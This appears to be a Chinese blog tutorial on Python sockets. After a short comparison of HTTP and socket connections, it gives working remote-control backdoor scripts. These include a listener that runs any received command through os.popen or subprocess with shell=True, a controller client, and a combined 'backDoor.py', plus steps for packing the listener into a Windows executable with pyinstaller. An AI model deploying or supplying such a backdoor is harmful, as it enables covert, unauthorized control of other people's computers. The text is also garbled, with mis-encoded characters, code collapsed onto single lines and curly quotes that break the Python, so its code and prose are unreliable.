Python實現(xiàn)Socket通信建立TCP反向連接
本文將記錄學習基于 Socket 通信機制建立 TCP 反向連接，借助 Python 腳本實現(xiàn)主機遠程控制的目的。
我們在傳輸數(shù)據(jù)時，可以只使用（傳輸層）TCP/IP 協(xié)議，但是那樣的話，如果沒有應用層，便無法識別數(shù)據(jù)內(nèi)容，如果想要使傳輸?shù)臄?shù)據(jù)有意義，則必須使用到應用層協(xié)議，應用層協(xié)議有很多，比如 HTTP、FTP、TELNET 等，也可以自己定義應用層協(xié)議。而 Socket 是對 TCP/IP 協(xié)議的封裝，Socket 本身并不是協(xié)議，而是一個調(diào)用接口(API)，通過 Socket 我們才能使用 TCP/IP 協(xié)議。
HTTP 連接與 Socket 連接的區(qū)別
HTTP 是短連接，Socket (基于 TCP 協(xié)議的)是長連接。盡管 HTTP1.1 開始支持持久連接，但仍無法保證始終連接。而 Socket 連接一旦建立 TCP 三次握手，除非一方主動斷開，否則連接狀態(tài)一直保持。 HTTP連接，服務端無法主動發(fā)消息，Socket 連接，雙方請求的發(fā)送無先后限制。這點就比較重要了，因為它將決定二者分別適合應用在什么場景下。HTTP 采用“請求-響應”機制，在客戶端還沒發(fā)送消息給服務端前，服務端無法推送消息給客戶端。必須滿足客戶端發(fā)送消息在前，服務端回復在后。Socket 連接雙方類似 peer2peer 的關(guān)系，一方隨時可以向另一方喊話。什么時候該用 HTTP，什么時候該用 Socket？
用 HTTP 的情況：雙方不需要時刻保持連接在線，比如客戶端資源的獲取、文件上傳等。 用 Socket 的情況：大部分即時通訊應用(QQ、微信)、聊天室、蘋果APNs等。Python3 關(guān)于 Socket 網(wǎng)絡編程的相關(guān)語法知識可以參見：Python3 網(wǎng)絡編程。
遠程控制下面開始來看看如何借助 Python 實現(xiàn)對目標主機的遠程控制。
腳本編寫ServerAttack.py 受控端腳本如下：
import socketimport osip = '' # 空表示可連接所有主機port = 5555 # 設置端口s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 對象s 使用基于tcp協(xié)議的網(wǎng)絡套接字s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # 關(guān)閉后不需要保存狀態(tài)可以立即開啟s.bind((ip, port)) # 對象s 開始綁定ip和端口s.listen(10)# 啟動監(jiān)聽狀態(tài)，設置隊列中等待連接服務器的最大請求數(shù)10conn, addr = s.accept() # 當與別人建立連接 addr,conn 變量分別存對方ip和連接的對象print('已建立遠程連接：', addr) # 顯示對方地址while True: data = conn.recv(1024) # 接收對方字符串 #如果對方不發(fā)數(shù)據(jù)會卡住 if data == b'q':# 接收到程序終止信號則中斷連接break data = str(data, encoding='utf8') # 將數(shù)據(jù)轉(zhuǎn)換為字符串類型 print('遠程主機請求的命令：', data) f = os.popen(data) # 可以將命令的內(nèi)容以讀取的方式返回 data2 = f.read() if data2 == '':conn.send(b'finish') else:conn.send(bytes(data2, encoding='utf8')) # 發(fā)送命令運行結(jié)果conn.close() # 斷開連接s.close() # 關(guān)閉套結(jié)字
ClientAttack.py 控制端腳本如下：
import socketip = '192.168.146.126' # 對方服務器ip地址port = 5555 # 對方服務器的端口s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 對象s使用基于tcp協(xié)議的網(wǎng)絡套接字s.connect((ip, port)) # 創(chuàng)建socket連接while True: data = input('請輸入命令：') data = bytes(data, encoding='utf8') s.send(data) # 發(fā)送數(shù)據(jù)給對方 data2 = s.recv(1024) # 接收返回的數(shù)據(jù) print(str(data2, encoding='utf8')) if data == b'q':breaks.close()
效果演示
1、Linux 遠控
將 ServerAttack.py 受控端腳本拷貝至 Linux 系統(tǒng)并運行，同時 Win10 物理機運行 ClientAttack.py 控制端腳本，可實現(xiàn)遠程連接控制：
2、Windows 遠控
使用 pyinstaller 打包 ServerAttack.py 生成 ServerAttack.exe 可執(zhí)行文件（pyinstaller -F ServerAttack.py），然后在 Win7 虛擬機運行生成的 ServerAttack.exe 文件，效果如下：
下面使用多線程、腳本參數(shù)設置、腳本幫助提示、客戶端服務端代碼集成來優(yōu)化上述實現(xiàn)遠程控制的腳本。
getopt ()Python 中 getopt 模塊是專門用來處理命令行參數(shù)的，函數(shù)格式：
getopt(args, shortopts, longopts = [])
參數(shù)解析如下：
參數(shù) 釋義 補充 args 要解析的參數(shù)列表 一般是sys.argv[1:]，表示獲取的參數(shù)不包括當前執(zhí)行的 python 腳本名稱 shortopts 要識別的短格式 (-) 選項字符串，如果后接:表示需要給定參數(shù) 如ab:c:，表示識別 -a, -b 和 -c 的短選項，其中 -b 和 -c 需要后接參數(shù) longopts = [] 要識別的長格式(–)選項，如果后接=表示需要給定參數(shù) 如[“help”, “user=”, “password=”]，表示識別--help, --user=root, --password=123456的長選項
函數(shù)返回值由兩個元素組成：
第一個是 (option, value) 元組的列表，(option, value) 元組中的 option 表示包含-或--前綴的選項，value 表示該 option 對應的參數(shù)，可以為空字符串表示無參數(shù)； 第二個是 args 剝離短選項及其參數(shù)和長選項及其參數(shù)之后剩余的參數(shù)列表。完整代碼import socketimport getoptimport sysimport subprocessfrom threading import Threaddef main(): target = '' # 目標IP port = 0 # 目標端口 listen = False help = False # 利用getopt模塊從命令行獲取參數(shù)，sys.argv[1:]可以過濾掉第一個參數(shù)（第一個參數(shù)是腳本的名稱，它不應該作為參數(shù)進行解析） opts, args = getopt.getopt(sys.argv[1:], 't:p:hl') for o, a in opts:if o == '-t': target = aelif o == '-p': port = int(a)elif o == '-h': help = Trueelif o == '-l': listen = Trueelse: # 斷言，傳入的參數(shù)有誤 assert False, 'Unhandled Option' # 輸出幫助文檔 if help:usage() # 獲分客戶端和服務端 if listen:server_handle(port) else:client_handle(target, port)# 受控端def server_handle(port): # 創(chuàng)建socket通道 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 綁定 server.bind((’0.0.0.0’, port)) # 監(jiān)聽 server.listen(10) print('[*] Listening on 0.0.0.0:%d' % port) while True:client_socket, addr = server.accept()print('[*] Accept connection from %s:%d' % (addr[0], addr[1]))t = Thread(target=run_command, args=(client_socket, server,))t.start()# 控制端,發(fā)送命令，接收受控端命令行的回顯內(nèi)容def client_handle(target, port): # 創(chuàng)建socket通道 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 連接服務器 client.connect((target, port)) # 接收數(shù)據(jù) while True:recv_len = 1# 接收到的數(shù)據(jù)是utf-8resBuffer = ''.encode(’utf-8’)while recv_len: data = client.recv(4096) recv_len = len(data) resBuffer += data if recv_len < 4096:break# 在windows下中文會亂碼，所以轉(zhuǎn)成GBKprint(resBuffer.decode(’gbk’), end='')# 接收命令，發(fā)送命令需要將命令轉(zhuǎn)成byte，并且編碼是utf-8buffer = input('')if buffer.encode(’utf-8’) == b'quit': breakbuffer += 'n'client.send(buffer.encode(’utf-8’)) client.close()# 執(zhí)行命令涵數(shù)def run_command(client_socket,s): while True:# 發(fā)送命令給客戶端client_socket.send(b'shell_>')# 定義接收命令byte類型變量cmd_buffer = ''.encode(’utf-8’)# 接收客戶端發(fā)過來的消息，直到預到換行，代表客戶端消息輸入完成while b'n' not in cmd_buffer: cmd_buffer += client_socket.recv(1024)if cmd_buffer == b'quit': break# 將完整的byte變量消息轉(zhuǎn)成字符串cmd_buffer = cmd_buffer.decode()try: # 通過隧道執(zhí)行命令并以byte數(shù)據(jù)類型返回輸出的數(shù)據(jù) out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True) # 將返回的數(shù)據(jù)發(fā)送給客戶端 client_socket.send(out)except: client_socket.send(b'faild to execute the command') client_socket.close() # 斷開連接 s.close() # 關(guān)閉套結(jié)字 exit(0)# 輸出幫助信息def usage(): print('help info : python backDoor.py -h') print('client : python backDoor.py -t [target] -p [port]') print('server : python backDoor.py -lp [port]') print('Exit ：Input quit to exit ') sys.exit()if __name__ == '__main__': main()
效果演示
獲取腳本幫助提示、進行遠程連接：
到此這篇關(guān)于Python實現(xiàn)Socket通信建立TCP反向連接的文章就介紹到這了,更多相關(guān)Python TCP反向連接內(nèi)容請搜索好吧啦網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持好吧啦網(wǎng)！
相關(guān)文章：
網(wǎng)公網(wǎng)安備